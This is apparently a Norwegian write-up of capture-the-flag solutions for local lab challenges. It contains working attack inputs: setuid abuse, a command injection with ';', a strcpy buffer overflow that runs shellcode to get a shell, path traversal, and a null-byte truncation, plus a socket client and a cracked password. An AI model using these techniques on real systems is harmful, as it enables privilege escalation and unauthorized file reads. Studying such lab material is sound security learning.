1.1_scoreboard
Flagget nås ved cat FLAGG
.
1.2_setuid
Flaggfilen eier vi ikke, men vi har en cat-kommando med setuid bit til den brukeren som eier filen. ./cat FLAGG
1.3_injection
Binaryen md5sum har et setuid-bit satt for eieren av FLAGG. Vi kan kjøre ./md5sum FLAGG; cat FLAGG
for å få programmet til å printe flagget.
1.4_overflow
Vi finner ut ved å se på kildekoden at binaryen bruker strcpy(), som lar oss overflowe bufferet som lagrer inputen vår. Vi kan også se at variabelen above må ha verdien “ABCDEFGH”. Hvis above er satt korrekt til koden hoppe til prep_shellcode
siden det er dit shellcode_ptr
peker. Koden i SHC-enviroment variabelen blir tilslutt i denne funksjonen returnert til, osm gir oss shell som basic4
brukeren.
1
2
$ export SHC=$(cat sample_shellcode)
$ ./overflow "AA$(echo $SHC)ABCDEFGHaaaaaaaaaaaaaaaaaaaaaaaa000000"
1.5_nettverk
Flagget kommer etter man har kommunisert med en server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
import struct
import select
TCP_IP = "127.0.0.1"
TCP_PORT = 10015
def main():
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((TCP_IP, TCP_PORT))
print(conn.recv(4096).decode("utf-8"))
a = []
for i in range(10):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
a.append(s)
print(conn.recv(4096).decode("utf-8"))
sum = 0
for b in range(len(a)):
data = a[b].recv(4096)
value = struct.unpack('>I',data)
sum += value[0]
conn.send(bytearray(struct.pack('>I', sum)))
print(conn.recv(4096).decode("utf-8"))
list = []
while True:
try:
ready,_,_ = select.select(a, [], [], 10.0)
for sock in ready:
tpl = sock.recv(4096).decode("utf-8")
list.append(tpl[0])
except:
break
print("".join(list))
if __name__ == "__main__":
main()
1.6_reversing
Ved å reversere filen check_password kan man se at:
- Passordet må være 32 bytes langt
- At de første 19 bokstavene er Reverse_engineering
- De neste bokstavene er _er_ (hex tall gjort om til ascii)
- Slutter med bokstavene morsomt__ Strengen blir til slutt
Reverse_engineering_er_morsomt__
Med Ghidra ser check_password slik ut:
1.7_path_traversal
Vi har et binary som leser filer i et directory som heter bok. Vi kan bruke path-traversal til å hoppe tilbake ett directory for å lese FLAGG-filen. ./les_bok ../FLAGG
1.8_bonusflagg
Det er et bonus flagg også. Vi kan se i c-koden til les_bok at det legges til en .txt på teksten vi sender som argument (fila vi vil lese). Vi kan terminere stringen før .txt blir lagt til med en url-enkodet null-byte, og lese flagget på samme måte som forrige. ./les_bok ../BONUS_FLAGG%00